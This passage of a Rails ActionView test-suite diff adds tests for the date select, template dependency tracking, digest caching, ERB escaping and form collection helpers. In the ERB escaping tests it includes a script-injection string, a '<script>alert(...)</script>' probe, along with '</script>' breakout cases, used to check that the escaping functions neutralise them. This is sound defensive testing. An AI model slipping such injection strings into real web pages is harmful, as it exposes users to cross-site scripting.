+ assert_distance_of_time_in_words(from)
+ end
+
def test_time_ago_in_words_passes_include_seconds
assert_equal "less than 20 seconds", time_ago_in_words(15.seconds.ago, :include_seconds => true)
assert_equal "less than a minute", time_ago_in_words(15.seconds.ago, :include_seconds => false)
@@ -324,6 +326,16 @@ class DateHelperTest < ActionView::TestCase
assert_dom_equal expected, select_month(8, :add_month_numbers => true)
end
+ def test_select_month_with_format_string
+ expected = %(<select id="date_month" name="date[month]">\n)
+ expected << %(<option value="1">January (01)</option>\n<option value="2">February (02)</option>\n<option value="3">March (03)</option>\n<option value="4">April (04)</option>\n<option value="5">May (05)</option>\n<option value="6">June (06)</option>\n<option value="7">July (07)</option>\n<option value="8" selected="selected">August (08)</option>\n<option value="9">September (09)</option>\n<option value="10">October (10)</option>\n<option value="11">November (11)</option>\n<option value="12">December (12)</option>\n)
+ expected << "</select>\n"
+
+ format_string = '%{name} (%<number>02d)'
+ assert_dom_equal expected, select_month(Time.mktime(2003, 8, 16), :month_format_string => format_string)
+ assert_dom_equal expected, select_month(8, :month_format_string => format_string)
+ end
+
def test_select_month_with_numbers_and_names_with_abbv
expected = %(<select id="date_month" name="date[month]">\n)
expected << %(<option value="1">1 - Jan</option>\n<option value="2">2 - Feb</option>\n<option value="3">3 - Mar</option>\n<option value="4">4 - Apr</option>\n<option value="5">5 - May</option>\n<option value="6">6 - Jun</option>\n<option value="7">7 - Jul</option>\n<option value="8" selected="selected">8 - Aug</option>\n<option value="9">9 - Sep</option>\n<option value="10">10 - Oct</option>\n<option value="11">11 - Nov</option>\n<option value="12">12 - Dec</option>\n)
@@ -1028,6 +1040,22 @@ class DateHelperTest < ActionView::TestCase
assert_dom_equal expected, select_date(Time.mktime(2003, 8, 16), {:start_year => 2003, :end_year => 2005, :prefix => "date[first]", :with_css_classes => true})
end
+ def test_select_date_with_css_classes_option_and_html_class_option
+ expected = %(<select id="date_first_year" name="date[first][year]" class="datetime optional year">\n)
+ expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
+ expected << "</select>\n"
+
+ expected << %(<select id="date_first_month" name="date[first][month]" class="datetime optional month">\n)
+ expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+ expected << "</select>\n"
+
+ expected << %(<select id="date_first_day" name="date[first][day]" class="datetime optional day">\n)
+ expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_date(Time.mktime(2003, 8, 16), {:start_year => 2003, :end_year => 2005, :prefix => "date[first]", :with_css_classes => true}, { class: 'datetime optional' })
+ end
+
def test_select_datetime
expected = %(<select id="date_first_year" name="date[first][year]">\n)
expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
diff --git a/actionview/test/template/dependency_tracker_test.rb b/actionview/test/template/dependency_tracker_test.rb
index 7a9b4b26ac..df3a0602d1 100644
--- a/actionview/test/template/dependency_tracker_test.rb
+++ b/actionview/test/template/dependency_tracker_test.rb
@@ -1,3 +1,5 @@
+# encoding: utf-8
+
require 'abstract_unit'
require 'action_view/dependency_tracker'
@@ -52,23 +54,127 @@ class ERBTrackerTest < Minitest::Test
def test_dependency_of_erb_template_with_number_in_filename
template = FakeTemplate.new("<%# render 'messages/message123' %>", :erb)
- tracker = make_tracker('messages/_message123', template)
+ tracker = make_tracker("messages/_message123", template)
assert_equal ["messages/message123"], tracker.dependencies
end
def test_finds_dependency_in_correct_directory
template = FakeTemplate.new("<%# render(message.topic) %>", :erb)
- tracker = make_tracker('messages/_message', template)
+ tracker = make_tracker("messages/_message", template)
assert_equal ["topics/topic"], tracker.dependencies
end
def test_finds_dependency_in_correct_directory_with_underscore
template = FakeTemplate.new("<%# render(message_type.messages) %>", :erb)
- tracker = make_tracker('message_types/_message_type', template)
+ tracker = make_tracker("message_types/_message_type", template)
assert_equal ["messages/message"], tracker.dependencies
end
-end
+ def test_dependency_of_erb_template_with_no_spaces_after_render
+ template = FakeTemplate.new("<%# render'messages/message' %>", :erb)
+ tracker = make_tracker("messages/_message", template)
+
+ assert_equal ["messages/message"], tracker.dependencies
+ end
+
+ def test_finds_no_dependency_when_render_begins_the_name_of_an_identifier
+ template = FakeTemplate.new("<%# rendering 'it useless' %>", :erb)
+ tracker = make_tracker("resources/_resource", template)
+
+ assert_equal [], tracker.dependencies
+ end
+
+ def test_finds_no_dependency_when_render_ends_the_name_of_another_method
+ template = FakeTemplate.new("<%# surrender 'to reason' %>", :erb)
+ tracker = make_tracker("resources/_resource", template)
+
+ assert_equal [], tracker.dependencies
+ end
+
+ def test_finds_dependency_on_multiline_render_calls
+ template = FakeTemplate.new("<%#
+ render :object => @all_posts,
+ :partial => 'posts' %>", :erb)
+
+ tracker = make_tracker("some/_little_posts", template)
+
+ assert_equal ["some/posts"], tracker.dependencies
+ end
+
+ def test_finds_multiple_unrelated_odd_dependencies
+ template = FakeTemplate.new("
+ <%# render('shared/header', title: 'Title') %>
+ <h2>Section title</h2>
+ <%# render@section %>
+ ", :erb)
+
+ tracker = make_tracker("multiple/_dependencies", template)
+
+ assert_equal ["shared/header", "sections/section"], tracker.dependencies
+ end
+
+ def test_finds_dependencies_for_all_kinds_of_identifiers
+ template = FakeTemplate.new("
+ <%# render $globals %>
+ <%# render @instance_variables %>
+ <%# render @@class_variables %>
+ ", :erb)
+
+ tracker = make_tracker("identifiers/_all", template)
+
+ assert_equal [
+ "globals/global",
+ "instance_variables/instance_variable",
+ "class_variables/class_variable"
+ ], tracker.dependencies
+ end
+
+ def test_finds_dependencies_on_method_chains
+ template = FakeTemplate.new("<%# render @parent.child.grandchildren %>", :erb)
+ tracker = make_tracker("method/_chains", template)
+
+ assert_equal ["grandchildren/grandchild"], tracker.dependencies
+ end
+
+ def test_finds_dependencies_with_special_characters
+ template = FakeTemplate.new("<%# render @pokémon, partial: 'ピカチュウ' %>", :erb)
+ tracker = make_tracker("special/_characters", template)
+
+ assert_equal ["special/ピカチュウ"], tracker.dependencies
+ end
+
+ def test_finds_dependencies_with_quotes_within
+ template = FakeTemplate.new(%{
+ <%# render "single/quote's" %>
+ <%# render 'double/quote"s' %>
+ }, :erb)
+
+ tracker = make_tracker("quotes/_single_and_double", template)
+
+ assert_equal ["single/quote's", 'double/quote"s'], tracker.dependencies
+ end
+
+ def test_finds_dependencies_with_extra_spaces
+ template = FakeTemplate.new(%{
+ <%= render "header" %>
+ <%= render partial: "form" %>
+ <%= render @message %>
+ <%= render ( @message.events ) %>
+ <%= render :collection => @message.comments,
+ :partial => "comments/comment" %>
+ }, :erb)
+
+ tracker = make_tracker("spaces/_extra", template)
+
+ assert_equal [
+ "spaces/header",
+ "spaces/form",
+ "messages/message",
+ "events/event",
+ "comments/comment"
+ ], tracker.dependencies
+ end
+end
diff --git a/actionview/test/template/digestor_test.rb b/actionview/test/template/digestor_test.rb
index 06735c30d3..47e1f6a6e5 100644
--- a/actionview/test/template/digestor_test.rb
+++ b/actionview/test/template/digestor_test.rb
@@ -15,8 +15,30 @@ end
class FixtureFinder
FIXTURES_DIR = "#{File.dirname(__FILE__)}/../fixtures/digestor"
- def find(logical_name, keys, partial, options)
- FixtureTemplate.new("digestor/#{partial ? logical_name.gsub(%r|/([^/]+)$|, '/_\1') : logical_name}.#{options[:formats].first}.erb")
+ attr_reader :details
+ attr_accessor :formats
+ attr_accessor :variants
+
+ def initialize
+ @details = {}
+ @formats = []
+ @variants = []
+ end
+
+ def details_key
+ details.hash
+ end
+
+ def find(name, prefixes = [], partial = false, keys = [], options = {})
+ partial_name = partial ? name.gsub(%r|/([^/]+)$|, '/_\1') : name
+ format = @formats.first.to_s
+ format += "+#{@variants.first}" if @variants.any?
+
+ FixtureTemplate.new("digestor/#{partial_name}.#{format}.erb")
+ end
+
+ def disable_cache(&block)
+ yield
end
end
@@ -78,13 +100,13 @@ class TemplateDigestorTest < ActionView::TestCase
end
def test_logging_of_missing_template
- assert_logged "Couldn't find template for digesting: messages/something_missing.html" do
+ assert_logged "Couldn't find template for digesting: messages/something_missing" do
digest("messages/show")
end
end
def test_logging_of_missing_template_ending_with_number
- assert_logged "Couldn't find template for digesting: messages/something_missing_1.html" do
+ assert_logged "Couldn't find template for digesting: messages/something_missing_1" do
digest("messages/show")
end
end
@@ -95,6 +117,31 @@ class TemplateDigestorTest < ActionView::TestCase
end
end
+ def test_recursion_in_renders
+ assert digest("level/recursion") # assert recursion is possible
+ assert_not_nil digest("level/recursion") # assert digest is stored
+ end
+
+ def test_chaining_the_top_template_on_recursion
+ assert digest("level/recursion") # assert recursion is possible
+
+ assert_digest_difference("level/recursion") do
+ change_template("level/recursion")
+ end
+
+ assert_not_nil digest("level/recursion") # assert digest is stored
+ end
+
+ def test_chaining_the_partial_template_on_recursion
+ assert digest("level/recursion") # assert recursion is possible
+
+ assert_digest_difference("level/recursion") do
+ change_template("level/_recursion")
+ end
+
+ assert_not_nil digest("level/recursion") # assert digest is stored
+ end
+
def test_dont_generate_a_digest_for_missing_templates
assert_equal '', digest("nothing/there")
end
@@ -115,6 +162,20 @@ class TemplateDigestorTest < ActionView::TestCase
end
end
+ def test_details_are_included_in_cache_key
+ # Cache the template digest.
+ old_digest = digest("events/_event")
+
+ # Change the template; the cached digest remains unchanged.
+ change_template("events/_event")
+
+ # The details are changed, so a new cache key is generated.
+ finder.details[:foo] = "bar"
+
+ # The cache is busted.
+ assert_not_equal old_digest, digest("events/_event")
+ end
+
def test_extra_whitespace_in_render_partial
assert_digest_difference("messages/edit") do
change_template("messages/_form")
@@ -145,6 +206,13 @@ class TemplateDigestorTest < ActionView::TestCase
end
end
+ def test_variants
+ assert_digest_difference("messages/new", false, variants: [:iphone]) do
+ change_template("messages/new", :iphone)
+ change_template("messages/_header", :iphone)
+ end
+ end
+
def test_dependencies_via_options_results_in_different_digest
digest_plain = digest("comments/_comment")
digest_fridge = digest("comments/_comment", dependencies: ["fridge"])
@@ -159,6 +227,41 @@ class TemplateDigestorTest < ActionView::TestCase
assert_not_equal digest_phone, digest_fridge_phone
end
+ def test_cache_template_loading
+ resolver_before = ActionView::Resolver.caching
+ ActionView::Resolver.caching = false
+ assert_digest_difference("messages/edit", true) do
+ change_template("comments/_comment")
+ end
+ ActionView::Resolver.caching = resolver_before
+ end
+
+ def test_digest_cache_cleanup_with_recursion
+ first_digest = digest("level/_recursion")
+ second_digest = digest("level/_recursion")
+
+ assert first_digest
+
+ # If the cache is cleaned up correctly, subsequent digests should return the same
+ assert_equal first_digest, second_digest
+ end
+
+ def test_digest_cache_cleanup_with_recursion_and_template_caching_off
+ resolver_before = ActionView::Resolver.caching
+ ActionView::Resolver.caching = false
+
+ first_digest = digest("level/_recursion")
+ second_digest = digest("level/_recursion")
+
+ assert first_digest
+
+ # If the cache is cleaned up correctly, subsequent digests should return the same
+ assert_equal first_digest, second_digest
+ ensure
+ ActionView::Resolver.caching = resolver_before
+ end
+
+
private
def assert_logged(message)
old_logger = ActionView::Base.logger
@@ -175,22 +278,33 @@ class TemplateDigestorTest < ActionView::TestCase
end
end
- def assert_digest_difference(template_name)
- previous_digest = digest(template_name)
- ActionView::Digestor.cache.clear
+ def assert_digest_difference(template_name, persistent = false, options = {})
+ previous_digest = digest(template_name, options)
+ ActionView::Digestor.cache.clear unless persistent
yield
- assert previous_digest != digest(template_name), "digest didn't change"
+ assert previous_digest != digest(template_name, options), "digest didn't change"
ActionView::Digestor.cache.clear
end
- def digest(template_name, options={})
- ActionView::Digestor.digest(template_name, :html, FixtureFinder.new, options)
+ def digest(template_name, options = {})
+ options = options.dup
+
+ finder.formats = [:html]
+ finder.variants = options.delete(:variants) || []
+
+ ActionView::Digestor.digest({ name: template_name, finder: finder }.merge(options))
end
- def change_template(template_name)
- File.open("digestor/#{template_name}.html.erb", "w") do |f|
+ def finder
+ @finder ||= FixtureFinder.new
+ end
+
+ def change_template(template_name, variant = nil)
+ variant = "+#{variant}" if variant.present?
+
+ File.open("digestor/#{template_name}.html#{variant}.erb", "w") do |f|
f.write "\nTHIS WAS CHANGED!"
end
end
diff --git a/actionview/test/template/erb_util_test.rb b/actionview/test/template/erb_util_test.rb
index 3e5b029cea..9bacbba908 100644
--- a/actionview/test/template/erb_util_test.rb
+++ b/actionview/test/template/erb_util_test.rb
@@ -1,4 +1,5 @@
require 'abstract_unit'
+require 'active_support/json'
class ErbUtilTest < ActiveSupport::TestCase
include ERB::Util
@@ -15,6 +16,51 @@ class ErbUtilTest < ActiveSupport::TestCase
end
end
+ HTML_ESCAPE_TEST_CASES = [
+ ['<br>', '&lt;br&gt;'],
+ ['a & b', 'a &amp; b'],
+ ['"quoted" string', '&quot;quoted&quot; string'],
+ ["'quoted' string", '&#39;quoted&#39; string'],
+ [
+ '<script type="application/javascript">alert("You are \'pwned\'!")</script>',
+ '&lt;script type=&quot;application/javascript&quot;&gt;alert(&quot;You are &#39;pwned&#39;!&quot;)&lt;/script&gt;'
+ ]
+ ]
+
+ JSON_ESCAPE_TEST_CASES = [
+ ['1', '1'],
+ ['null', 'null'],
+ ['"&"', '"\u0026"'],
+ ['"</script>"', '"\u003c/script\u003e"'],
+ ['["</script>"]', '["\u003c/script\u003e"]'],
+ ['{"name":"</script>"}', '{"name":"\u003c/script\u003e"}'],
+ [%({"name":"d\u2028h\u2029h"}), '{"name":"d\u2028h\u2029h"}']
+ ]
+
+ def test_html_escape
+ HTML_ESCAPE_TEST_CASES.each do |(raw, expected)|
+ assert_equal expected, html_escape(raw)
+ end
+ end
+
+ def test_json_escape
+ JSON_ESCAPE_TEST_CASES.each do |(raw, expected)|
+ assert_equal expected, json_escape(raw)
+ end
+ end
+
+ def test_json_escape_does_not_alter_json_string_meaning
+ JSON_ESCAPE_TEST_CASES.each do |(raw, _)|
+ assert_equal ActiveSupport::JSON.decode(raw), ActiveSupport::JSON.decode(json_escape(raw))
+ end
+ end
+
+ def test_json_escape_is_idempotent
+ JSON_ESCAPE_TEST_CASES.each do |(raw, _)|
+ assert_equal json_escape(raw), json_escape(json_escape(raw))
+ end
+ end
+
def test_json_escape_returns_unsafe_strings_when_passed_unsafe_strings
value = json_escape("asdf")
assert !value.html_safe?
@@ -31,7 +77,7 @@ class ErbUtilTest < ActiveSupport::TestCase
assert escaped.html_safe?
end
- def test_html_escape_passes_html_escpe_unmodified
+ def test_html_escape_passes_html_escape_unmodified
escaped = h("<p>".html_safe)
assert_equal "<p>", escaped
assert escaped.html_safe?
diff --git a/actionview/test/template/form_collections_helper_test.rb b/actionview/test/template/form_collections_helper_test.rb
index bc9c21dfd3..5e991d87ad 100644
--- a/actionview/test/template/form_collections_helper_test.rb
+++ b/actionview/test/template/form_collections_helper_test.rb
@@ -17,14 +17,14 @@ class FormCollectionsHelperTest < ActionView::TestCase
end
# COLLECTION RADIO BUTTONS
- test 'collection radio accepts a collection and generate inputs from value method' do
+ test 'collection radio accepts a collection and generates inputs from value method' do
with_collection_radio_buttons :user, :active, [true, false], :to_s, :to_s
assert_select 'input[type=radio][value=true]#user_active_true'
assert_select 'input[type=radio][value=false]#user_active_false'
end
- test 'collection radio accepts a collection and generate inputs from label method' do
+ test 'collection radio accepts a collection and generates inputs from label method' do
with_collection_radio_buttons :user, :active, [true, false], :to_s, :to_s
assert_select 'label[for=user_active_true]', 'true'
@@ -38,7 +38,7 @@ class FormCollectionsHelperTest < ActionView::TestCase
assert_select 'label[for=user_active_no]', 'No'
end
- test 'colection radio should sanitize collection values for labels correctly' do
+ test 'collection radio should sanitize collection values for labels correctly' do
with_collection_radio_buttons :user, :name, ['$0.99', '$1.99'], :to_s, :to_s
assert_select 'label[for=user_name_099]', '$0.99'
assert_select 'label[for=user_name_199]', '$1.99'
@@ -60,7 +60,7 @@ class FormCollectionsHelperTest < ActionView::TestCase
assert_no_select 'input[type=radio][value=other][disabled=disabled]'
end
- test 'collection radio accepts single disable item' do
+ test 'collection radio accepts single disabled item' do
collection = [[1, true], [0, false]]
with_collection_radio_buttons :user, :active, collection, :last, :first, :disabled => true
@@ -68,6 +68,23 @@ class FormCollectionsHelperTest < ActionView::TestCase
assert_no_select 'input[type=radio][value=false][disabled=disabled]'
end
+ test 'collection radio accepts multiple readonly items' do
+ collection = [[1, true], [0, false], [2, 'other']]
+ with_collection_radio_buttons :user, :active, collection, :last, :first, :readonly => [true, false]
+
+ assert_select 'input[type=radio][value=true][readonly=readonly]'
+ assert_select 'input[type=radio][value=false][readonly=readonly]'
+ assert_no_select 'input[type=radio][value=other][readonly=readonly]'
+ end
+
+ test 'collection radio accepts single readonly item' do
+ collection = [[1, true], [0, false]]
+ with_collection_radio_buttons :user, :active, collection, :last, :first, :readonly => true
+
+ assert_select 'input[type=radio][value=true][readonly=readonly]'
+ assert_no_select 'input[type=radio][value=false][readonly=readonly]'
+ end
+
test 'collection radio accepts html options as input' do
collection = [[1, true], [0, false]]
with_collection_radio_buttons :user, :active, collection, :last, :first, {}, :class => 'special-radio'
@@ -84,6 +101,24 @@ class FormCollectionsHelperTest < ActionView::TestCase
assert_select 'input[type=radio][value=false].bar#user_active_false'
end
+ test 'collection radio sets the label class defined inside the block' do
+ collection = [[1, true, {class: 'foo'}], [0, false, {class: 'bar'}]]
+ with_collection_radio_buttons :user, :active, collection, :second, :first do |b|
+ b.label(class: "collection_radio_buttons")
+ end
+
+ assert_select 'label.collection_radio_buttons[for=user_active_true]'
+ assert_select 'label.collection_radio_buttons[for=user_active_false]'
+ end
+
+ test 'collection radio does not include the input class in the respective label' do
+ collection = [[1, true, {class: 'foo'}], [0, false, {class: 'bar'}]]
+ with_collection_radio_buttons :user, :active, collection, :second, :first
+
+ assert_no_select 'label.foo[for=user_active_true]'
+ assert_no_select 'label.bar[for=user_active_false]'
+ end
+
test 'collection radio does not wrap input inside the label' do
with_collection_radio_buttons :user, :active, [true, false], :to_s, :to_s
@@ -164,7 +199,7 @@ class FormCollectionsHelperTest < ActionView::TestCase
end
# COLLECTION CHECK BOXES
- test 'collection check boxes accepts a collection and generate a serie of checkboxes for value method' do
+ test 'collection check boxes accepts a collection and generate a series of checkboxes for value method' do
collection = [Category.new(1, 'Category 1'), Category.new(2, 'Category 2')]
with_collection_check_boxes :user, :category_ids, collection, :id, :name
@@ -179,7 +214,28 @@ class FormCollectionsHelperTest < ActionView::TestCase
assert_select "input[type=hidden][name='user[category_ids][]'][value=]", :count => 1
end
- test 'collection check boxes accepts a collection and generate a serie of checkboxes with labels for label method' do
+ test 'collection check boxes generates a hidden field using the given :name in :html_options' do
+ collection = [Category.new(1, 'Category 1'), Category.new(2, 'Category 2')]
+ with_collection_check_boxes :user, :category_ids, collection, :id, :name, {}, {name: "user[other_category_ids][]"}
+
+ assert_select "input[type=hidden][name='user[other_category_ids][]'][value=]", :count => 1
+ end
+
+ test 'collection check boxes generates a hidden field with index if it was provided' do
+ collection = [Category.new(1, 'Category 1'), Category.new(2, 'Category 2')]
+ with_collection_check_boxes :user, :category_ids, collection, :id, :name, { index: 322 }
+
+ assert_select "input[type=hidden][name='user[322][category_ids][]'][value=]", count: 1
+ end
+
+ test 'collection check boxes does not generate a hidden field if include_hidden option is false' do
+ collection = [Category.new(1, 'Category 1'), Category.new(2, 'Category 2')]
+ with_collection_check_boxes :user, :category_ids, collection, :id, :name, include_hidden: false
+
+ assert_select "input[type=hidden][name='user[category_ids][]'][value=]", :count => 0
+ end
+
+ test 'collection check boxes accepts a collection and generate a series of checkboxes with labels for label method' do
collection = [Category.new(1, 'Category 1'), Category.new(2, 'Category 2')]
with_collection_check_boxes :user, :category_ids, collection, :id, :name
@@ -194,7 +250,7 @@ class FormCollectionsHelperTest < ActionView::TestCase
assert_select 'label[for=user_active_no]', 'No'
end
- test 'colection check box should sanitize collection values for labels correctly' do
+ test 'collection check box should sanitize collection values for labels correctly' do
with_collection_check_boxes :user, :name, ['$0.99', '$1.99'], :to_s, :to_s
assert_select 'label[for=user_name_099]', '$0.99'
assert_select 'label[for=user_name_199]', '$1.99'
@@ -208,6 +264,24 @@ class FormCollectionsHelperTest < ActionView::TestCase
assert_select 'input[type=checkbox][value=2].bar'
end
+ test 'collection check boxes sets the label class defined inside the block' do
+ collection = [[1, 'Category 1', {class: 'foo'}], [2, 'Category 2', {class: 'bar'}]]
+ with_collection_check_boxes :user, :active, collection, :second, :first do |b|
+ b.label(class: 'collection_check_boxes')
+ end
+
+ assert_select 'label.collection_check_boxes[for=user_active_category_1]'
+ assert_select 'label.collection_check_boxes[for=user_active_category_2]'
+ end
+
+ test 'collection check boxes does not include the input class in the respective label' do
+ collection = [[1, 'Category 1', {class: 'foo'}], [2, 'Category 2', {class: 'bar'}]]
+ with_collection_check_boxes :user, :active, collection, :second, :first
+
+ assert_no_select 'label.foo[for=user_active_category_1]'
+ assert_no_select 'label.bar[for=user_active_category_2]'
+ end
+
test 'collection check boxes accepts selected values as :checked option' do
collection = (1..3).map{|i| [i, "Category #{i}"] }
with_collection_check_boxes :user, :category_ids, collection, :first, :last, :checked => [1, 3]
@@ -257,7 +331,7 @@ class FormCollectionsHelperTest < ActionView::TestCase
assert_no_select 'input[type=checkbox][value=2][disabled=disabled]'
end
- test 'collection check boxes accepts single disable item' do
+ test 'collection check boxes accepts single disabled item' do
collection = (1..3).map{|i| [i, "Category #{i}"] }
with_collection_check_boxes :user, :category_ids, collection, :first, :last, :disabled => 1
@@ -275,6 +349,33 @@ class FormCollectionsHelperTest < ActionView::TestCase
assert_no_select 'input[type=checkbox][value=2][disabled=disabled]'
end
+ test 'collection check boxes accepts multiple readonly items' do
+ collection = (1..3).map{|i| [i, "Category #{i}"] }
+ with_collection_check_boxes :user, :category_ids, collection, :first, :last, :readonly => [1, 3]
+
+ assert_select 'input[type=checkbox][value=1][readonly=readonly]'
+ assert_select 'input[type=checkbox][value=3][readonly=readonly]'
+ assert_no_select 'input[type=checkbox][value=2][readonly=readonly]'
+ end
+
+ test 'collection check boxes accepts single readonly item' do
+ collection = (1..3).map{|i| [i, "Category #{i}"] }
+ with_collection_check_boxes :user, :category_ids, collection, :first, :last, :readonly => 1
+
+ assert_select 'input[type=checkbox][value=1][readonly=readonly]'
+ assert_no_select 'input[type=checkbox][value=3][readonly=readonly]'
+ assert_no_select 'input[type=checkbox][value=2][readonly=readonly]'
+ end
+
+ test 'collection check boxes accepts a proc to readonly items' do
+ collection = (1..3).map{|i| [i, "Category #{i}"] }
+ with_collection_check_boxes :user, :category_ids, collection, :first, :last, :readonly => proc { |i| i.first == 1 }
+
+ assert_select 'input[type=checkbox][value=1][readonly=readonly]'
+ assert_no_select 'input[type=checkbox][value=3][readonly=readonly]'
+ assert_no_select 'input[type=checkbox][value=2][readonly=readonly]'
+ end
+
test 'collection check boxes accepts html options' do
collection = [[1, 'Category 1'], [2, 'Category 2']]
with_collection_check_boxes :user, :category_ids, collection, :first, :last, {}, :class => 'check'
diff --git a/actionview/test/template/form_helper_test.rb b/actionview/test/template/form_helper_test.rb
index 1ff320224d..0ad0ae6b4b 100644
--- a/actionview/test/template/form_helper_test.rb
+++ b/actionview/test/template/form_helper_test.rb
@@ -143,75 +143,68 @@ class FormHelperTest < ActionView::TestCase
end
def test_label_with_locales_strings
- old_locale, I18n.locale = I18n.locale, :label
- assert_dom_equal('<label for="post_body">Write entire text here</label>', label("post", "body"))
- ensure
- I18n.locale = old_locale
+ with_locale :label do
+ assert_dom_equal('<label for="post_body">Write entire text here</label>', label("post", "body"))
+ end
end
def test_label_with_human_attribute_name
- old_locale, I18n.locale = I18n.locale, :label
- assert_dom_equal('<label for="post_cost">Total cost</label>', label(:post, :cost))
- ensure
- I18n.locale = old_locale
+ with_locale :label do
+ assert_dom_equal('<label for="post_cost">Total cost</label>', label(:post, :cost))
+ end
end
def test_label_with_locales_symbols
- old_locale, I18n.locale = I18n.locale, :label
- assert_dom_equal('<label for="post_body">Write entire text here</label>', label(:post, :body))
- ensure
- I18n.locale = old_locale
+ with_locale :label do
+ assert_dom_equal('<label for="post_body">Write entire text here</label>', label(:post, :body))
+ end
end
def test_label_with_locales_and_options
- old_locale, I18n.locale = I18n.locale, :label
- assert_dom_equal(
- '<label for="post_body" class="post_body">Write entire text here</label>',
- label(:post, :body, class: "post_body")
- )
- ensure
- I18n.locale = old_locale
+ with_locale :label do
+ assert_dom_equal(
+ '<label for="post_body" class="post_body">Write entire text here</label>',
+ label(:post, :body, class: "post_body")
+ )
+ end
end
def test_label_with_locales_and_value
- old_locale, I18n.locale = I18n.locale, :label
- assert_dom_equal('<label for="post_color_red">Rojo</label>', label(:post, :color, value: "red"))
- ensure
- I18n.locale = old_locale
+ with_locale :label do
+ assert_dom_equal('<label for="post_color_red">Rojo</label>', label(:post, :color, value: "red"))
+ end
end
def test_label_with_locales_and_nested_attributes
- old_locale, I18n.locale = I18n.locale, :label
- form_for(@post, html: { id: 'create-post' }) do |f|
- f.fields_for(:comments) do |cf|
- concat cf.label(:body)
+ with_locale :label do
+ form_for(@post, html: { id: 'create-post' }) do |f|
+ f.fields_for(:comments) do |cf|
+ concat cf.label(:body)
+ end
end
- end
- expected = whole_form("/posts/123", "create-post", "edit_post", method: "patch") do
- '<label for="post_comments_attributes_0_body">Write body here</label>'
- end
+ expected = whole_form("/posts/123", "create-post", "edit_post", method: "patch") do
+ '<label for="post_comments_attributes_0_body">Write body here</label>'
+ end
- assert_dom_equal expected, output_buffer
- ensure
- I18n.locale = old_locale
+ assert_dom_equal expected, output_buffer
+ end
end
def test_label_with_locales_fallback_and_nested_attributes
- old_locale, I18n.locale = I18n.locale, :label
- form_for(@post, html: { id: 'create-post' }) do |f|
- f.fields_for(:tags) do |cf|
- concat cf.label(:value)
+ with_locale :label do
+ form_for(@post, html: { id: 'create-post' }) do |f|
+ f.fields_for(:tags) do |cf|
+ concat cf.label(:value)
+ end
end
- end
- expected = whole_form("/posts/123", "create-post", "edit_post", method: "patch") do
- '<label for="post_tags_attributes_0_value">Tag</label>'
- end
+ expected = whole_form("/posts/123", "create-post", "edit_post", method: "patch") do
+ '<label for="post_tags_attributes_0_value">Tag</label>'
+ end
- assert_dom_equal expected, output_buffer
- ensure
- I18n.locale = old_locale
+ assert_dom_equal expected, output_buffer
+ end
end
def test_label_with_for_attribute_as_symbol
@@ -272,6 +265,13 @@ class FormHelperTest < ActionView::TestCase
)
end
+ def test_label_with_block_and_html
+ assert_dom_equal(
+ '<label for="post_terms">Accept <a href="/terms">Terms</a>.</label>',
+ label(:post, :terms) { 'Accept <a href="/terms">Terms</a>.'.html_safe }
+ )
+ end
+
def test_label_with_block_and_options
assert_dom_equal(
'<label for="my_for">The title, please:</label>',
@@ -676,6 +676,13 @@ class FormHelperTest < ActionView::TestCase
)
end
+ def test_text_area_with_nil_alternate_value
+ assert_dom_equal(
+ %{<textarea id="post_body" name="post[body]">\n</textarea>},
+ text_area("post", "body", value: nil)
+ )
+ end
+
def test_text_area_with_html_entities
@post.body = "The HTML Entity for & is &amp;"
assert_dom_equal(
@@ -702,6 +709,11 @@ class FormHelperTest < ActionView::TestCase
assert_dom_equal(expected, color_field("car", "color"))
end
+ def test_color_field_with_value_attr
+ expected = %{<input id="car_color" name="car[color]" type="color" value="#00FF00" />}
+ assert_dom_equal(expected, color_field("car", "color", value: "#00FF00"))
+ end
+
def test_search_field
expected = %{<input id="contact_notes_query" name="contact[notes_query]" type="search" />}
assert_dom_equal(expected, search_field("contact", "notes_query"))
@@ -732,6 +744,12 @@ class FormHelperTest < ActionView::TestCase
assert_dom_equal(expected, date_field("post", "written_on", min: min_value, max: max_value, step: step))
end
+ def test_date_field_with_value_attr
+ expected = %{<input id="post_written_on" name="post[written_on]" type="date" value="2013-06-29" />}
+ value = Date.new(2013,6,29)
+ assert_dom_equal(expected, date_field("post", "written_on", value: value))
+ end
+
def test_date_field_with_timewithzone_value
previous_time_zone, Time.zone = Time.zone, 'UTC'
expected = %{<input id="post_written_on" name="post[written_on]" type="date" value="2004-06-15" />}
@@ -802,6 +820,12 @@ class FormHelperTest < ActionView::TestCase
assert_dom_equal(expected, datetime_field("post", "written_on", min: min_value, max: max_value, step: step))
end
+ def test_datetime_field_with_value_attr
+ expected = %{<input id="post_written_on" name="post[written_on]" type="datetime" value="2013-06-29T13:37:00+00:00" />}
+ value = DateTime.new(2013,6,29,13,37)
+ assert_dom_equal(expected, datetime_field("post", "written_on", value: value))
+ end
+
def test_datetime_field_with_timewithzone_value
previous_time_zone, Time.zone = Time.zone, 'UTC'
expected = %{<input id="post_written_on" name="post[written_on]" type="datetime" value="2004-06-15T15:30:45.000+0000" />}
@@ -1258,6 +1282,42 @@ class FormHelperTest < ActionView::TestCase
assert_dom_equal expected, output_buffer
end
+ def test_form_with_namespace_and_with_collection_radio_buttons
+ post = Post.new
+ def post.active; false; end
+
